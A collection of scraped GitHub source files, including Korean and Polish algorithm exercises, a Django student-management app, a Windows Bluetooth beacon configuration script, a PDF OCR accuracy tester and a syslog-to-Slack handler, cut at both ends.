nz)\n","repo_name":"30bohdan/tencompl","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":36251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35979968157","text":"# 1244. [S/W 문제해결 응용] 2일차 - 최대 상금\n\n# 퀴즈 대회에 참가해서 우승을 하게 되면 보너스 상금을 획득할 수 있는 기회를 부여받는다.\n\n# 우승자는 주어진 숫자판들 중에 두 개를 선택에서 정해진 횟수만큼 서로의 자리를 위치를 교환할 수 있다.\n\n# 예를 들어, 다음 그림과 3, 2, 8, 8, 8 의 5개의 숫자판들이 주어지고 교환 횟수는 2회라고 하자.\n\n# 교환전>\n\n\n\n# 처음에는 첫번째 숫자판의 3과 네 번째 숫자판의 8을 교환해서 8, 2, 8, 3, 8이 되었다.\n \n\n\n# 다음으로, 두 번째 숫자판 2와 마지막에 있는 8을 교환해서 8, 8, 8, 3, 2이 되었다.\n\n\n\n# 정해진 횟수만큼 교환이 끝나면 숫자판의 위치에 부여된 가중치에 의해 상금이 계산된다.\n\n# 숫자판의 오른쪽 끝에서부터 1원이고 왼쪽으로 한자리씩 갈수록 10의 배수만큼 커진다.\n\n# 위의 예에서와 같이 최종적으로 숫자판들이 8,8,8,3,2의 순서가 되면 88832원의 보너스 상금을 획득한다.\n\n# 여기서 주의할 것은 반드시 횟수만큼 교환이 이루어져야 하고 동일한 위치의 교환이 중복되어도 된다.\n\n# 다음과 같은 경우 1회의 교환 횟수가 주어졌을 때 반드시 1회 교환을 수행하므로 결과값은 49가 된다.\n\n\n\n# 94의 경우 2회 교환하게 되면 원래의 94가 된다.\n\n# 정해진 횟수만큼 숫자판을 교환했을 때 받을 수 있는 가장 큰 금액을 계산해보자.\n\n# [입력]\n\n\n# 가장 첫 줄은 전체 테스트 케이스의 수이다.\n\n# 최대 10개의 테스트 케이스가 표준 입력을 통하여 주어진다.\n\n# 각 테스트 케이스에는 숫자판의 정보와 교환 횟수가 주어진다.\n\n# 숫자판의 정보는 정수형 숫자로 주어지고 최대 자릿수는 6자리이며, 최대 교환 횟수는 10번이다.\n\n# [출력]\n\n# 각 테스트 케이스마다, 첫 줄에는 “#C”를 출력해야 하는데 C는 케이스 번호이다.\n\n# 같은 줄에 빈 칸을 하나 사이에 두고 교환 후 받을 수 있는 가장 큰 금액을 출력한다.\n\n# DFS와 백트래킹\n# 깊이 우선 탐색(DFS)\n\n# DFS는 가능한 모든 경로(후보)를 탐색합니다. 따라서, 불필요할 것 같은 경로를 사전에 차단하거나 하는 등의 행동이 없으므로 경우의 수를 줄이지 못합니다.\n\n# 따라서 N! 가지의 경우의 수를 가진 문제는 DFS로 처리가 불가능할 것입니다.\n\n# 백트래킹(Backtracking)\n\n# 해를 찾아가는 도중, 지금의 경로가 해가 될 것 같지 않으면 그 경로를 더이상 가지 않고 되돌아갑니다.\n\n# 즉, 코딩에서는 반복문의 횟수까지 줄일 수 있으므로 효율적입니다.\n\n# 이를 가지치기라고 하는데, 불필요한 부분을 쳐내고 최대한 올바른 쪽으로 간다는 의미입니다.\n\n# 일반적으로, 불필요한 경로를 조기에 차단할 수 있게 되어 경우의 수가 줄어들지만, 만약 N!의 경우의 수를 가진 문제에서 최악의 경우에는 여전히 지수함수 시간을 필요로 하므로 처리가 불가능 할 수도 있습니다. 가지치기를 얼마나 잘하느냐에 따라 효율성이 결정되게 됩니다.\n\n# 정리하자면, 백트래킹은 모든 가능한 경우의 수 중에서 특정한 조건을 만족하는 경우만 살펴보는 것입니다.\n\n# 즉 답이 될 만한지 판단하고 그렇지 않으면 그 부분까지 탐색하는 것을 하지 않고 가지치기 하는 것을 백트래킹이라고 생각하면 됩니다.\n# 주로 문제 풀이에서는 DFS 등으로 모든 경우의 수를 탐색하는 과정에서, 조건문 등을 걸어 답이 절대로 될 수 없는 상황을 정의하고, 그러한 상황일 경우에는 탐색을 중지시킨 뒤 그 이전으로 돌아가서 다시 다른 경우를 탐색하게끔 구현할 수 있습니다.\n# 👍 백트래킹 기법의 유망성 판단\n# 어떤 노드의 유망성, 즉 해가 될 만한지 판단한 후 유망하지 않다고 결정되면 그 노드의 이전(부모)로 돌아가(Backtracking) 다음 자식 노드로 갑니다.\n\n# 해가 될 가능성이 있으면 유망하다(promising)고 하며, 유망하지 않은 노드에 가지 않는 것을 가지치기(pruning) 한다고 하는 것입니다.\n\n# https://chanhuiseok.github.io/posts/baek-1/ : 참고 문제\n\n\n# 풀이\n\n# 시간 복잡도가 최대 6자릿수에서 2개를 교환하는 방식이므로 6C2 = 15 ^ 10 이므로 시간 복잡도가 매우 크다 -> 그래서 가지치기 필요\n\n# 백트래킹 사용\n\n# 종료 조건 : 교환 횟수가 끝날 때까지 최댓값 반환\n\n\n# 내 풀이\n\ndef dfs(change):\n global max_money \n if change == max_change: # 교환 횟수가 최대 교환 횟수와 같아지면\n changed = ''.join(num_table) # 바꾼 숫자판을 문자열로 변환\n max_money = max(max_money, changed) # 금액 최댓값은 금액 최댓값과 바꾼 숫자판을 문자열로 변환한 것중 큰 것을 최댓값으로 갱신\n return \n \n for i in range(len(num_table)): # 두 개씩 뽑아서 조합을 만들어 비교한다. \n for j in range(i+1, len(num_table)): \n num_table[i], num_table[j] = num_table[j], num_table[i] # 교환\n changed = ''.join(num_table) # 숫자판을 바꾸면 합쳐서 문자열로 만들어서 비교\n if visited.get((changed, change), 1): # 가지치기 : visited에 (바꾼 숫자판, 교환 횟수) key가 없으면 1로 처리 -> 방문한 적이 없으면 1 \n visited[(changed, change)] = 0 # 방문을 하면 0으로 바꿔 다음에 다시 방문하지 않게 처리 (방문했던 곳 중복 방지)\n dfs(change+1) # 바꾼 횟수 +1해서 dfs 다시 호출\n num_table[i], num_table[j] = num_table[j], num_table[i] # 다른 경로 탐색을 위해 다시 i, j 돌려놓기\n\n\nT = int(input())\nfor test_case in range(1, T + 1):\n num_table, max_change = input().split() # 숫자판, 교환 횟수\n num_table = list(num_table)\n max_change = int(max_change)\n max_money = \"0\" # 금액의 최댓값\n visited = {} # 방문했는지 확인하는 딕셔너리\n dfs(0)\n print(\"#{} {}\".format(test_case, max_money))\n\n\n","repo_name":"BellOne4222/Coding_Test_Repo","sub_path":"Samsung_SWEA/D3/1244(dfs, 백트래킹).py","file_name":"1244(dfs, 백트래킹).py","file_ext":"py","file_size_in_byte":6332,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"5553230119","text":"from random import randint\nfrom time import sleep\nfrom operator import itemgetter\nresultados = dict()\nstart = input('\\033[1;35mPRESSIONE ENTER PARA JOGAR OS DADOS\\033[m')\njogo = {'jogador1': randint(1, 6),\n 'jogador2': randint(1, 6),\n 'jogador3': randint(1, 6),\n 'jogador4': randint(1, 6)}\nprint('AAAEIO')\nprint('\\033[1;32mSORTEANDO.....')\nsleep(1)\nprint('\\033[1;47;30mVALORES SORTEADOS:\\033[m')\nranking = list()\nfor k, v in jogo.items():\n sleep(0.8)\n print(f'\\033[1;36m{k.upper()} TIROU {v} NO DADO\\033[m')\nranking = sorted(jogo.items(), key=itemgetter(1), reverse=True)\nprint('-=' * 30)\nprint('\\033[1;47;30m == RANKING DOS JOGADORES ==\\033[m')\nfor i, v in enumerate(ranking):\n sleep(1)\n print(f'\\033[1;32m {i + 1}° LUGAR, {v[0].upper()} COM {v[1]}')\n\n","repo_name":"AlexyaF/Desafio-DIO-Git-GitHub","sub_path":"Programas básicos-Exercícios/91ex.py","file_name":"91ex.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2620498059","text":"import os.path\nimport asyncio\nimport argparse\nimport uuid\nimport csv\nimport copy\nimport numpy as np\nimport pandas as pd\n\nimport winrt.windows.devices.bluetooth.advertisement as winBLE\nfrom winrt.windows.storage.streams import DataReader\nfrom winrt.windows.devices.bluetooth import BluetoothLEDevice\nfrom winrt.windows.storage.streams import Buffer\nfrom winrt.windows.storage.streams import DataWriter, DataReader\n\nfrom device import mokosmart\n\ndef create_csv(path: str, filename: str = 'file.csv') -> None:\n \"\"\"This function create/overwrites a csv with filename at a specified path.\n\n Args:\n path (str): The path to directory that the csv file should be located at.\n\n filename (str): The filename of the particular csv file. This should be in the \n format 'your_desired_filename.csv'\n \"\"\"\n \n header = ['mac_add','address', 'major', 'minor', 'button_status']\n\n if not os.path.isfile(path + filename):\n with open(path + filename, 'w') as f:\n writer = csv.writer(f)\n writer.writerow(header)\n return path + filename, header\n\ndef update_df(df, cols):\n df = df.append(cols, ignore_index=True)\n df = df.drop_duplicates(subset=['mac_add'])\n return df\n\nasync def discover(verbose=True , watch_time=2):\n\n devices = []\n\n def filter_cycled_ibeacon(evt, data, beacon_type='CYCLED iBeacon'):\n beacon_uuid = uuid.UUID(bytes=bytes(data[2:18]))\n if str(beacon_uuid) == '4d0395ff-6470-44ac-9550-a27b3e6306e1':\n beacon_info = {}\n beacon_info['address'] = evt.bluetooth_address\n beacon_info['mac_add'] = _format_bdaddr(beacon_info['address'])\n beacon_info['major'] = int.from_bytes(bytearray(data[18:20]), 'big', signed=False)\n beacon_info['minor'] = int.from_bytes(bytearray(data[20:22]), 'big', signed=False)\n beacon_info['button_status'] = 3\n\n if verbose:\n print(f'\\t\\tDetected {beacon_type}: {beacon_info[\"mac_add\"]}')\n\n return beacon_info\n else:\n return None\n\n def _format_bdaddr(a):\n return \":\".join(\"{:02X}\".format(x) for x in a.to_bytes(6, byteorder=\"big\"))\n\n def on_advert(sender, evt):\n # filter CYCLED iBeacons\n for m_data_buf in evt.advertisement.manufacturer_data:\n if m_data_buf.company_id == 0x004c:\n data_reader = DataReader.from_buffer(m_data_buf.data)\n m_data = data_reader.read_bytes(m_data_buf.data.length)\n if m_data[0] == 0x02:\n cycled_beacon = filter_cycled_ibeacon(evt, data=m_data)\n\n # append to csv\n if cycled_beacon:\n if len(devices) == 0:\n devices.append(cycled_beacon)\n else:\n if cycled_beacon not in devices:\n devices.append(cycled_beacon)\n\n watcher = winBLE.BluetoothLEAdvertisementWatcher()\n watcher.add_received(on_advert)\n\n watcher.start()\n await asyncio.sleep(watch_time)\n watcher.stop()\n\n return devices\n\nasync def set_beacon_button(device , beacon: mokosmart, enable=False):\n address = device['address']\n data = beacon.char_params_data[\"set_button_power\"] + (b'\\x01' if enable else b'\\x00')\n \n print('\\t\\tConnecting to ' + device['mac_add'])\n connection = await BluetoothLEDevice.from_bluetooth_address_async(address)\n x = await connection.get_gatt_services_async()\n\n for i in x.services:\n chars = await i.get_characteristics_async()\n for y in chars.characteristics:\n if str(y.uuid) == \"e62a0002-1362-4f28-9327-f5b74e970801\":\n\n writer = DataWriter()\n writer.write_bytes(list(data))\n buf = writer.detach_buffer()\n result = await y.write_value_with_result_async(buf)\n\n check = await y.read_value_async()\n buf_data = DataReader.from_buffer(check.value)\n \n success = buf_data.read_bytes(5)[-1]\n \n # 0 - off\n # 1 - on\n # 2 - protocol error occured\n # 3 - unknown\n if success is not None:\n print(f'\\t\\tBeacon with id {device[\"mac_add\"]} has its button been turned ' + ('on!' if enable else 'off!'))\n return success\n else:\n return 2\n\nasync def set_all_beacon_button(beacon: mokosmart, save_factor:int=10, enable=False):\n\n # beacon database\n path, header = create_csv('./database/', 'file.csv')\n beacon_db = pd.read_csv(path, header=0)\n\n # device parameters\n devices = []\n beacon = beacon\n\n # Turn em all off\n cnt = 1\n while True:\n # discover new beacons and update dataframe\n devices = await discover()\n beacon_db = update_df(beacon_db, devices)\n \n # set all beacons with gatt_success False off\n subset_db = beacon_db.copy()[(beacon_db['button_status'] == 2) | \\\n (beacon_db['button_status'] == 3)]\n subset_db.reset_index(inplace=False)\n subset_db['address'] = subset_db['address'].astype(np.uint64)\n \n # set them off\n for indx, row in subset_db.iterrows():\n try:\n status = await set_beacon_button(row, beacon, enable=enable)\n\n if status is not None:\n subset_db.at[indx, 'button_status'] = status\n else:\n # just incase we loose connection somehow\n subset_db.at[indx, 'button_status'] = 3\n except:\n continue\n\n # update df\n beacon_db = beacon_db.set_index('mac_add')\n subset_db = subset_db.set_index('mac_add')\n beacon_db.update(subset_db)\n beacon_db.reset_index(inplace=True)\n \n # delete subset just in case\n # copies are created\n del subset_db\n\n\n # save df to csv every save_factor loops \n if cnt % save_factor == 0:\n _dtypes = {'mac_add':str,'address':np.uint64, 'major':int, 'minor':int, 'button_status':int}\n beacon_db = beacon_db.astype(_dtypes)\n\n beacon_db.to_csv(path, header=header, index=False)\n cnt += 1\n \n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Turn the button functionality of the bluetooth beacon on/off.')\n\n parser.add_argument(\"--save_factor\", help=\"How often to save data to csv? (Number of discover iterations)\",\n type=int)\n parser.add_argument(\"--enable_button\", help=\"Turn button functionality on (True) or off (False)?\",\n type=bool)\n\n args = parser.parse_args()\n\n mokosmart_beacon = mokosmart()\n asyncio.run(set_all_beacon_button(beacon=mokosmart_beacon,save_factor=args.save_factor, enable=args.enable_button))\n","repo_name":"lakshjaisinghani/mokosmart-beacon-util","sub_path":"beacon_util.py","file_name":"beacon_util.py","file_ext":"py","file_size_in_byte":7032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"35547025930","text":"\"\"\"\"\nA script to test the accuracy of pdf to text script.\nSample data set is expected to be a directory of .pdf files with .txt files of same name n the same directory\ncontaining the original text to be scanned.\n\"\"\"\nimport argparse\nfrom glob import glob\n\nfrom utils.accuracy import diff_percentage\nfrom utils.pdf import pdf_to_text, DEFAULT_DPI\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description='Test accuracy of pdf to text. Make sure each .pdf file in the data dir has a .txt file'\n ' with the correct content.')\n parser.add_argument('dir', type=str, nargs=1, help='The path to the data set dir')\n parser.add_argument('--dpi', '-d',\n metavar='D',\n type=int, nargs=1, default=DEFAULT_DPI,\n help=f\"The dpi value to use while converting pdf into images. Defaults to {DEFAULT_DPI}.\")\n\n args = parser.parse_args()\n data_dir = args.dir[0]\n dpi = args.dpi\n pdf_files = glob(f\"{data_dir}/*.pdf\")\n accuracy_data = []\n print(f\"Processing sample set of {len(pdf_files)} files with dpi: {dpi}..\")\n for file_path in pdf_files:\n with open(f\"{file_path[:-3]}txt\") as original_text_file:\n scanned_text = pdf_to_text(file_path=file_path, dpi=dpi)\n original_text = original_text_file.read()\n # result is a list of 2-tuples in the form: (%accuracy, file path)\n accuracy_data.append((diff_percentage(original_text, scanned_text), file_path))\n for data in accuracy_data:\n print(data)\n","repo_name":"philoj/pdf-to-text","sub_path":"test_accuracy.py","file_name":"test_accuracy.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42377175342","text":"from django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.shortcuts import render\nfrom .models import *\nfrom .forms import StudentForm\n\n\n# Create your views here.\ndef index(request):\n students = Student.objects.all()\n\n context = {\n 'students' : students\n }\n return render(request, 'student/index.html', context)\n\ndef view_student(request, id):\n student = Student.objects.get(pk=id)#this means get me a student whose primary key in the db is passed as the id of the student clicked\n return HttpResponseRedirect(reverse('index'))\n\ndef add(request):\n #db data must be manipulated using a \n # form = StudentForm()#unbound form\n if request.method == 'POST':\n form = StudentForm(request.POST)#bound form \n if form.is_valid():\n #pulling data from the form data dictionary called cleaned data and at this point validated data \n new_student_number = form.cleaned_data['student_number']\n new_first_name = form.cleaned_data['first_name']\n new_last_name = form.cleaned_data['last_name']\n new_email = form.cleaned_data['email']\n new_field_of_study = form.cleaned_data['field_of_study']\n new_gpa = form.cleaned_data['gpa']\n\n new_student = Student(\n student_number = new_student_number,\n first_name = new_first_name,\n last_name = new_last_name,\n email = new_email,\n field_of_study = new_field_of_study,\n gpa = new_gpa\n )\n \n # form.save()instead\n new_student.save()\n\n context = {\n 'form': StudentForm(),\n 'success': True,\n }\n\n return render(request, 'student/add.html', context)\n \n else:\n #otherwise display an empty form\n form = StudentForm()\n\n context = {\n 'form': form\n }\n return render(request, 'student/add.html', context)\n\ndef edit(request, id):\n if request.method == 'POST':\n student = Student.objects.get(pk=id)#GETS The specific student to edit\n form = StudentForm(request.POST, instance=student)#this fills form with that student to edit\n if form.is_valid():\n form.save()\n\n context = {\n 'form':form,\n 'success': True\n }\n\n return render(request, 'student/edit.html', context)\n else:\n student = Student.objects.get(pk=id)\n form = StudentForm(request.POST)\n\n context = {\n 'form':form\n }\n return render(request, 'student/edit.html', context)\n\ndef delete(request, id):\n if request.method == 'POST':\n student = Student.objects.get(pk=id)\n student.delete()\n return HttpResponseRedirect(reverse('index'))#this will help us not to create or hardcode a url but have url that performs a task\n","repo_name":"thedarkarchitect/Django-projects","sub_path":"studentManagementSystem/student/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"106450865","text":"#!/usr/bin/env python3\n\nimport sys\n\nimport time\n\nimport random\n\nfrom random import randint\n\nimport numpy as np\n\nVALUES = [0, 32, 64, 128, 160, 192, 223, 255]\n\ndef copy_matrix(matrix):\n copy = [[matrix[i][j] for j in range(len(matrix[0]))] for i in range(len(matrix))]\n return copy\n\ndef print_matrix(matrix, n, m):\n for i in range(n):\n for j in range(m):\n print(matrix[i][j], end = \" \")\n print(\"\")\n\n print(\"\")\n\ndef distance(n, m, matrix_A, matrix_B):\n sub = 0\n for i in range(n):\n for j in range(m):\n sub += (matrix_A[i][j] - matrix_B[i][j])**2\n\n return 1/(n*m) * sub\n\ndef get_start(n, m, k):\n \"\"\" Rozwiazanie startowe: macierz zbudowana na przemian z 0 i 255\"\"\"\n result = []\n\n values = []\n val = -1\n # inicjalizacja pierwszych wartosci wierszy\n for i in range(n):\n if i % k == 0 and (n - i) // k != 0:\n if val == 0:\n val = 255\n else:\n val = 0\n helper = [None]*m\n helper[0] = val\n values.append(helper)\n\n # uzupelnianie wierszy odpowiednia wartoscia\n for i in range(n):\n val = values[i][0]\n for j in range(1, m):\n #zmien wartosc co k, w przypadku gdy m % k != 0, powieksz blok\n if j % k == 0 and (m - j)//k != 0:\n if val == 0:\n val = 255\n else:\n val = 0\n values[i][j] = val\n\n return values\n\ndef get_blocks(result_matrix, n, m, k):\n \"\"\" Wydzielenie blokow z macierzy poczatkowej \"\"\"\n blocks = []\n divider = []\n val = -1\n # podzial wierszy wzgledem wartosci\n for i in range(n):\n val = result_matrix[i][0]\n helper = []\n for j in range(0, m):\n if result_matrix[i][j] != val:\n divider.append(helper)\n helper = []\n val = result_matrix[i][j]\n\n helper.append([i, j])\n divider.append(helper)\n\n remove = []\n counter = 0\n previous = 0\n # dopasowanie wartosci z dividera i uformowanie blokow\n while counter < len(divider):\n helper = []\n if divider[counter] == None:\n counter += 1\n continue\n for i in range(k + 1):\n if i == k:\n # m//k definiuje odstepy w dividerze pomiedzy wartosciami\n # jednego bloku\n next = counter + i * (m//k)\n if next < len(divider):\n index_A = divider[next][0][0]\n index_B = divider[next][0][1]\n index_C = previous[0][0]\n index_D = previous[0][1]\n # przypadek kiedy m != k lub n != k\n if (result_matrix[index_A][index_B] == result_matrix[index_C][index_D] and\n len(divider[next]) == len(previous)):\n helper += divider[next]\n divider[next] = None\n else:\n next = counter + i * (m//k)\n if next < len(divider):\n previous = divider[next]\n helper += divider[next]\n divider[next] = None\n else:\n break\n\n counter += 1\n blocks.append(helper)\n\n return blocks\n\ndef probability(T, x, y):\n \"\"\"Prawdopodobienstwo wybrania sasiada, gdy jest gorszym wynikiem\"\"\"\n np.seterr(all='ignore')\n helper = (y - x)/T\n res = np.exp(-1 * helper)\n return res\n\ndef change_box_val(result_matrix, blocks, block, new_val):\n \"\"\" Zmiana wartosci bloku \"\"\"\n\n for num in blocks[block]:\n result_matrix[num[0]][num[1]] = new_val\n\ndef swap_boxes(result_matrix, blocks, block1, block2):\n \"\"\" Zamiana blokow miejscami \"\"\"\n\n val_1 = get_box_value(result_matrix, blocks, block1)\n val_2 = get_box_value(result_matrix, blocks, block2)\n\n change_box_val(result_matrix, blocks, block1, val_2)\n change_box_val(result_matrix, blocks, block2, val_1)\n\ndef check_if_working(matrix, blocks):\n \"\"\" Aktualizuje dane w blokach \"\"\"\n for i in range(len(blocks)):\n index_A = blocks[i][0][0]\n index_B = blocks[i][0][1]\n val = matrix[index_A][index_B]\n change_box_val(matrix, blocks, i, val)\n\ndef get_box_width(blocks, block):\n \"\"\" Funkcja zwracajaca szerokosc danego bloku \"\"\"\n\n counter = 0\n val = 0\n for el in blocks[block]:\n if counter == 0:\n val = el[0]\n\n new = el[0]\n if new != val:\n break\n else:\n counter += 1\n\n return counter\n\ndef change_random_box_size(result_matrix, blocks, n, m, k):\n \"\"\" Losowe zmniejszenie blokow \"\"\"\n\n matrix_copy = copy_matrix(result_matrix)\n result = []\n bigger = []\n # Poszukiwanie blokow mozliwych do zmniejszenia\n for i in range(len(blocks)):\n if len(blocks[i]) > k*k:\n bigger.append(i)\n\n # W przypadku braku takich blokow (np. macierz, gdzie m i n % k == 0) zakoncz\n if len(bigger) == 0:\n return\n else:\n get_rand = randint(0, len(bigger) - 1)\n box = bigger[get_rand]\n width = get_box_width(blocks, box)\n height = int(len(blocks[box])/width)\n elements = m//k\n box_size = len(blocks[box])\n\n # przypadek dla granicy gornej\n if box < elements:\n # lewy sasiad i jego dane\n left_box = box-1\n width_2 = get_box_width(blocks, left_box)\n height_2 = int(len(blocks[left_box])/width_2)\n\n # dolny sasiad i jego dane\n down_box = box + elements\n width_3 = get_box_width(blocks, down_box)\n height_3 = int(len(blocks[down_box])/width_3)\n\n # sprawdz czy blok nie lezy na granicy macierzy\n if height_2 == height and width > k and box % elements != 0:\n points = []\n # dodaj punkty do prawej strony lewego sasiada\n for i in range(height):\n points.append(blocks[box][i*(width)])\n result.append([box, left_box, points, 'L'])\n else:\n return\n\n # przypadek dla granicy dolnej\n elif box >= elements**2 - elements:\n # lewy sasiad i jego dane\n left_box = box-1\n width_2 = get_box_width(blocks, left_box)\n height_2 = int(len(blocks[left_box])/width_2)\n\n # gorny sasiad i jego dane\n up_box = box - elements\n width_3 = get_box_width(blocks, up_box)\n height_3 = int(len(blocks[up_box])/width_3)\n\n # istnieje kompatybilny sasiad po lewej stronie\n if height_2 == height and width > k and box % elements != 0:\n points = []\n for i in range(height):\n points.append(blocks[box][i*(width)])\n result.append([box, left_box, points, 'L'])\n\n # istnieje kompatybilny sasiad na gorze\n elif width_3 == width and height > k:\n points = []\n # dodaj punkty do dolu sasiada z gory\n for i in range(0, width):\n points.append(blocks[box][i])\n result.append([box, up_box, points, 'U'])\n else:\n return\n # badanie punktu srodkowego\n else:\n # lewy sasiad\n left_box = box-1\n width_2 = get_box_width(blocks, left_box)\n height_2 = int(len(blocks[left_box])/width_2)\n\n # gorny sasiad\n up_box = box - elements\n width_3 = get_box_width(blocks, up_box)\n height_3 = int(len(blocks[up_box])/width_3)\n\n if height_2 == height and width > k:\n points = []\n for i in range(height):\n points.append(blocks[box][i*(width)])\n result.append([box, left_box, points, 'L'])\n\n elif width_3 == width and height > k:\n points = []\n for i in range(0, width):\n points.append(blocks[box][i])\n result.append([box, up_box, points, 'U'])\n else:\n return\n\n change_boxes(matrix_copy, blocks, result)\n\ndef change_boxes(matrix, blocks, arguments):\n \"\"\" Funkcja zapisujaca zmiany po zmianie wielkosci \"\"\"\n\n source = arguments[0][0]\n update = arguments[0][1]\n points = arguments[0][2]\n type = arguments[0][3]\n\n # wybrany zostal sasiad znajdujacy sie nad\n if type == 'U':\n index_A = blocks[update][0][0]\n index_B = blocks[update][0][1]\n val = matrix[index_A][index_B]\n for point in points:\n blocks[update].append(point)\n blocks[source].remove(point)\n\n change_box_val(matrix, blocks, update, val)\n\n # wybrany zostal sasiad znadjdujacy sie po lewej\n if type == 'L':\n width = get_box_width(blocks, update)\n index_A = blocks[update][0][0]\n index_B = blocks[update][0][1]\n val = matrix[index_A][index_B]\n for i in range(1, len(points)+1):\n blocks[update].insert(i*width + (i-1), points[i-1])\n blocks[source].remove(points[i-1])\n\n change_box_val(matrix, blocks, update, val)\n\ndef get_box_value(result_matrix, blocks, block):\n \"\"\" Pobierz wartosc bloku \"\"\"\n\n index_A = blocks[block][0][0]\n index_B = blocks[block][0][1]\n\n return result_matrix[index_A][index_B]\n\ndef find_neighbourhood(matrix, blocks, start, n, m, k, T):\n \"\"\" Funkcja odpowidzialna za szukanie sasiedztwa \"\"\"\n\n result_matrix = copy_matrix(matrix)\n matrix_copy = copy_matrix(matrix)\n x = distance(n, m, start, matrix)\n\n value_result = []\n swap_result = []\n\n # modyfikacja wartosci w blokach\n for i in range(len(blocks)):\n val = random.choice(VALUES)\n matrix_copy = copy_matrix(matrix)\n\n change_box_val(matrix_copy, blocks, i, val)\n new_val = distance(n, m, start, matrix_copy)\n if new_val < x:\n result_matrix = copy_matrix(matrix_copy)\n x = new_val\n\n value_result = copy_matrix(result_matrix)\n matrix_copy = copy_matrix(result_matrix)\n\n # modyfikacja polozenia blokow\n for i in range(1, len(blocks)):\n box_A = randint(0, len(blocks)-i)\n box_B = randint(0, len(blocks)-i)\n\n if box_A != box_B:\n matrix_copy = copy_matrix(result_matrix)\n if len(blocks[box_A]) == len(blocks[box_B]):\n swap_boxes(matrix_copy, blocks, box_A, box_B)\n new_val = distance(n, m, start, matrix_copy)\n\n if new_val < x:\n result_matrix = copy_matrix(matrix_copy)\n x = new_val\n\n matrix_copy = copy_matrix(result_matrix)\n swap_result = copy_matrix(result_matrix)\n\n # zmiana rozmiaru blokow\n change_random_box_size(result_matrix, blocks, n, m, k)\n check_if_working(result_matrix, blocks)\n # zwracanie 3 potencjalnych sasiadow\n return [result_matrix, swap_result, value_result]\n\ndef find_matrix(n, m, block_size, time_max, basic_matrix):\n \"\"\" Wlasciwa funkcja minimalizujaca \"\"\"\n\n result = get_start(n, m, block_size)\n blocks = get_blocks(result, n, m, block_size)\n best_val = distance(n, m, basic_matrix, result)\n start = best_val\n\n T = 10000\n reduction = 0.8\n rem_time = 0\n\n clk_start = time.process_time()\n while time_max > rem_time:\n if T == 0:\n break\n\n neighbour = find_neighbourhood(result, blocks, basic_matrix, n, m, block_size, T)\n for neigh in neighbour:\n new = distance(n, m, basic_matrix, neigh)\n\n if new < best_val:\n result = copy_matrix(neigh)\n best_val = new\n else:\n if random.random() <= probability(T, best_val, new):\n result = copy_matrix(neigh)\n best_val = new\n\n T = T * reduction\n\n\n clk_tick = time.process_time()\n rem_time = clk_tick - clk_start\n\n print(\"Initial: \", start)\n print(\"Final: \", best_val)\n print_matrix(result, n, m)\n\n\ndef main():\n args = sys.argv\n params = []\n time = 0\n args = sys.stdin.readline()\n args = args.split()\n time = int(args[0])\n n = int(args[1])\n m = int(args[2])\n k = int(args[3])\n\n for line in sys.stdin:\n line = line.split()\n row = []\n for num in line:\n row.append(int(num))\n\n if m != len(row) and len(row) != 0:\n print(row)\n print(\"Wrong args! \")\n return\n\n if len(row) != 0:\n params.append(row)\n\n if n != len(params):\n print(\"Wrong args! \")\n return\n\n result = find_matrix(n, m, k, time, params)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"kaszycaO/AMH","sub_path":"l2/z2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27775166787","text":"# https://leetcode.com/problems/maximum-number-of-words-found-in-sentences/ \n\nfrom typing import List\nclass Solution:\n def mostWordsFound(self, sentences: List[str]) -> int:\n \n new_sentences = []\n for sentence in sentences:\n new_sentences.append( sentence.split(\" \") )\n sorted_sentences = sorted(new_sentences, key=len)\n longest_sentence = sorted_sentences[-1]\n return len(longest_sentence)\n\n\nsentences = [\"please wait\", \"continue to fight\", \"continue to win\"]\nprint(Solution().mostWordsFound(sentences))\n","repo_name":"khanhvynguyen/leetcode","sub_path":"maximum-number-of-words-found-in-sentences.py","file_name":"maximum-number-of-words-found-in-sentences.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33971802367","text":"import logging\nimport socketserver\n\nfrom app.config import BaseConfig\nfrom app.models import SlackIntegration\n\n\nlogging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s %(levelname)-8s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=BaseConfig.LOG_FILE,\n filemode='a')\n\n\nslack_integration = SlackIntegration()\n\n\nclass SyslogUDPHandler(socketserver.BaseRequestHandler):\n \"\"\"\n Adding a custom handler per syslog request\n \"\"\"\n def handle(self) -> None:\n # Push message to slack channel\n slack_integration.process_syslog_message(request=self.request)\n","repo_name":"theb10n707/slack-integration","sub_path":"app/models/syslog_server.py","file_name":"syslog_server.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13378257201","text":"from http import HTTPStatus\n\nfrom django.test import TestCase\n\n\nclass RobotsTxtTests(TestCase):\n \"\"\"See https://adamj.eu/tech/2020/02/10/robots-txt/ for more\n information.\n \"\"\"\n\n def test_get(self):\n response = self.client.get(\"/robots.txt\")\n\n self.assertEqual(response.status_code, HTTPStatus.OK)\n self.assertEqual(response[\"content-type\"], \"text/plain\")\n lines = response.content.decode().splitlines()\n self.assertEqual(lines[0], \"User-Agent: *\")\n\n def test_post_disallowed(self):\n response = self.client.post(\"/robots.txt\")\n 